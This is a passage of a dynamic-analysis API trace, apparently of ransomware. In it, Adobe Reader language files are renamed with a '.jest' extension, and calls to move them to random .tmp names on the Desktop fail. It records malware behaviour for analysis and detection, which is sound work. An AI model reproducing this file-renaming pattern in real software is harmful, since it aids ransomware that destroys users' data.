lpMsg=0x18eaac) returned 0 [0151.269] CoFreeUnusedLibraries () [0151.269] GetTickCount () returned 0x1157965 [0151.269] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.269] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.269] GetTickCount () returned 0x1157965 [0151.270] IsWindowVisible (hWnd=0x30268) returned 0 [0151.270] Sleep (dwMilliseconds=0x0) [0151.271] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt.jest")) returned 1 [0151.272] GetLastError () returned 0x0 [0151.272] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湮也⹏硴t") returned 0x6b [0151.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.272] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湮也⹏硴t") returned 0x6b [0151.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt") returned 108 [0151.272] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湮也⹏硴⹴敪瑳") returned 0x70 [0151.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.272] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳湮也⹏硴⹴敪瑳") returned 0x70 [0151.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt.jest") returned 113 [0151.273] VarBstrFromR4 (in: fltIn=0x4794507b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.96") returned 0x0 [0151.273] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.273] CoFreeUnusedLibraries () [0151.273] GetTickCount () returned 0x1157965 [0151.274] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.274] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.274] GetTickCount () returned 0x1157965 [0151.274] IsWindowVisible (hWnd=0x30268) returned 0 [0151.274] Sleep (dwMilliseconds=0x0) [0151.275] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K3n_7fk_RQguQA7dTL5AHCT2yrL0amFkMf1aP zlHeVY -qPnRgkCgOFqVk5mBRGiocKtU5VP97GFF8l7z6 ErE_D5rEG6Wp5Svsd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k3n_7fk_rqguqa7dtl5ahct2yrl0amfkmf1ap zlhevy -qpnrgkcgofqvk5mbrgiocktu5vp97gff8l7z6 ere_d5reg6wp5svsd.tmp")) returned 0 [0151.275] GetLastError () returned 0x2 [0151.275] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.276] CoFreeUnusedLibraries () [0151.276] GetTickCount () returned 0x1157965 [0151.276] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.276] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.276] GetTickCount () returned 0x1157965 [0151.276] IsWindowVisible (hWnd=0x30268) returned 0 [0151.276] Sleep (dwMilliseconds=0x0) [0151.281] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt.jest")) returned 1 [0151.282] GetLastError () returned 0x0 [0151.282] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮琮瑸") returned 0x68 [0151.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.282] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮琮瑸") returned 0x68 [0151.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=105, lpWideCharStr=0x14cf144, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt") returned 105 [0151.282] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮琮瑸樮獥t") returned 0x6d [0151.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.282] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮琮瑸樮獥t") returned 0x6d [0151.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=110, lpWideCharStr=0x144ebf4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt.jest") returned 110 [0151.283] VarBstrFromR4 (in: fltIn=0x4794507d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.98") returned 0x0 [0151.284] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.284] CoFreeUnusedLibraries () [0151.284] GetTickCount () returned 0x1157974 [0151.284] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.284] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.284] GetTickCount () returned 0x1157974 [0151.284] IsWindowVisible (hWnd=0x30268) returned 0 [0151.284] Sleep (dwMilliseconds=0x0) [0151.285] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q14xYPY hseb4 Z-fjpu09I4 m hkjG8zvJ P8MBb3z0vSz2b6WOWS1E8syCfiiVHvTlxENFE-kC_-6-Gq38-yCir7MwyLjCmcBmv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q14xypy hseb4 z-fjpu09i4 m hkjg8zvj p8mbb3z0vsz2b6wows1e8sycfiivhvtlxenfe-kc_-6-gq38-ycir7mwyljcmcbmv.tmp")) returned 0 [0151.286] GetLastError () returned 0x2 [0151.286] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.286] CoFreeUnusedLibraries () [0151.286] GetTickCount () returned 0x1157974 [0151.286] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.286] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.286] GetTickCount () returned 0x1157974 [0151.286] IsWindowVisible (hWnd=0x30268) returned 0 [0151.287] Sleep (dwMilliseconds=0x0) [0151.288] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt.jest")) returned 1 [0151.289] GetLastError () returned 0x0 [0151.289] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮也⹏硴t") returned 0x6b [0151.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.289] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮也⹏硴t") returned 0x6b [0151.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt") returned 108 [0151.289] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮也⹏硴⹴敪瑳") returned 0x70 [0151.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.290] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳扮也⹏硴⹴敪瑳") returned 0x70 [0151.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt.jest") returned 113 [0151.290] VarBstrFromR4 (in: fltIn=0x4794507d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.98") returned 0x0 [0151.291] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.291] CoFreeUnusedLibraries () [0151.291] GetTickCount () returned 0x1157974 [0151.291] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.291] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.291] GetTickCount () returned 0x1157974 [0151.291] IsWindowVisible (hWnd=0x30268) returned 0 [0151.291] Sleep (dwMilliseconds=0x0) [0151.292] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x-Rg3MbOBYFNE2X3tJ0TeMewZocBz3wl6PqiYyWuZTNKyQ3jU_1fNFRJHuJ1MAQqMGJEIPmlIFghtF8 fr6qGKNoa7t0ezQoUYzy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x-rg3mbobyfne2x3tj0temewzocbz3wl6pqiyywuztnkyq3ju_1fnfrjhuj1maqqmgjeipmlifghtf8 fr6qgknoa7t0ezqouyzy.tmp")) returned 0 [0151.292] GetLastError () returned 0x2 [0151.293] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.293] CoFreeUnusedLibraries () [0151.293] GetTickCount () returned 0x1157974 [0151.293] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.293] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.293] GetTickCount () returned 0x1157974 [0151.293] IsWindowVisible (hWnd=0x30268) returned 0 [0151.293] Sleep (dwMilliseconds=0x0) [0151.295] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt.jest")) returned 1 [0151.296] GetLastError () returned 0x0 [0151.296] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡呟⹎硴t") returned 0x6b [0151.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.296] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡呟⹎硴t") returned 0x6b [0151.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt") returned 108 [0151.297] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡呟⹎硴⹴敪瑳") returned 0x70 [0151.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.297] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡呟⹎硴⹴敪瑳") returned 0x70 [0151.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt.jest") returned 113 [0151.297] VarBstrFromR4 (in: fltIn=0x4794507d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.98") returned 0x0 [0151.298] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.298] CoFreeUnusedLibraries () [0151.298] GetTickCount () returned 0x1157984 [0151.298] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.298] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.298] GetTickCount () returned 0x1157984 [0151.298] IsWindowVisible (hWnd=0x30268) returned 0 [0151.298] Sleep (dwMilliseconds=0x0) [0151.300] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TFx13kKdZRtT0eoSWg-cD-gbQfUqJ2h fKQ V4HARcS-7bh-pvZW0Imb7tQhZIusb3Vs4_09isR6NfK6TEVqT_UQR-WSW3Ls7PyV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tfx13kkdzrtt0eoswg-cd-gbqfuqj2h fkq v4harcs-7bh-pvzw0imb7tqhziusb3vs4_09isr6nfk6tevqt_uqr-wsw3ls7pyv.tmp")) returned 0 [0151.300] GetLastError () returned 0x2 [0151.300] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.300] CoFreeUnusedLibraries () [0151.300] GetTickCount () returned 0x1157984 [0151.300] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.301] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.301] GetTickCount () returned 0x1157984 [0151.301] IsWindowVisible (hWnd=0x30268) returned 0 [0151.301] Sleep (dwMilliseconds=0x0) [0151.302] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt.jest")) returned 1 [0151.304] GetLastError () returned 0x0 [0151.304] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹙硴t") returned 0x6b [0151.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.304] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹙硴t") returned 0x6b [0151.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x14faa24, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt") returned 108 [0151.304] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹙硴⹴敪瑳") returned 0x70 [0151.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.304] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹙硴⹴敪瑳") returned 0x70 [0151.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt.jest") returned 113 [0151.304] VarBstrFromR4 (in: fltIn=0x4794507f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.99") returned 0x0 [0151.305] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.305] CoFreeUnusedLibraries () [0151.305] GetTickCount () returned 0x1157984 [0151.305] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.305] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.305] GetTickCount () returned 0x1157984 [0151.305] IsWindowVisible (hWnd=0x30268) returned 0 [0151.305] Sleep (dwMilliseconds=0x0) [0151.307] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kkp9Q6YHD8dCs7W3u3 bDAeC9IhjYHqKu4h4bu1Um6pmY_chLFC cTvX1KqLzVP9mnhuE_T0feu_CS35ISG3yfLUtpmgwv636oYyg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kkp9q6yhd8dcs7w3u3 bdaec9ihjyhqku4h4bu1um6pmy_chlfc ctvx1kqlzvp9mnhue_t0feu_cs35isg3yflutpmgwv636oyyg.tmp")) returned 0 [0151.307] GetLastError () returned 0x2 [0151.308] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.308] CoFreeUnusedLibraries () [0151.308] GetTickCount () returned 0x1157984 [0151.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.308] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.308] GetTickCount () returned 0x1157984 [0151.308] IsWindowVisible (hWnd=0x30268) returned 0 [0151.308] Sleep (dwMilliseconds=0x0) [0151.310] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt.jest")) returned 1 [0151.311] GetLastError () returned 0x0 [0151.311] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹄硴t") returned 0x6b [0151.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.311] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡卟⹄硴t") returned 0x6b [0151.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt") returned 108 [0151.311] SysStringByteLen 